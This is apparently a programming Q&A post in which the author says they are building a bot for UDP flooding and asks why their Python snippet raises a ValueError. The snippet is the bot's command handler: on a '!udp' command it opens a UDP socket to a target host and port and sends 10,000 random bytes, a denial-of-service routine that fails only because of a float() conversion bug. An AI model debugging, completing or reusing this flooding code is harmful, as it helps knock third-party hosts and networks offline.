title: Python ValueError: invalid literal for float(): 127.0.0.1
body: <p>I am working on a simple bot for UDP flooding, but it isn't working, all I get when I run is is:</p>
  
  <p><code>ValueError: invalid literal for float(): 127.0.0.1</code></p>
  
  <p>Here is a snip of what I think is causing the problem:</p>
  
  <pre><code>    line = line.split()
      print line
      if(line[0]=='!udp'):
              print "attacking ", line[1]
              udp=socket.socket ( socket.AF_INET, socket.SOCK_DGRAM )
              udp.connect((float(line[1]), int(line[2])))
              udp.send(os.urandom(10000))
  </code></pre>
  
  <p>I have searched all around for the error but I cant find anything.</p>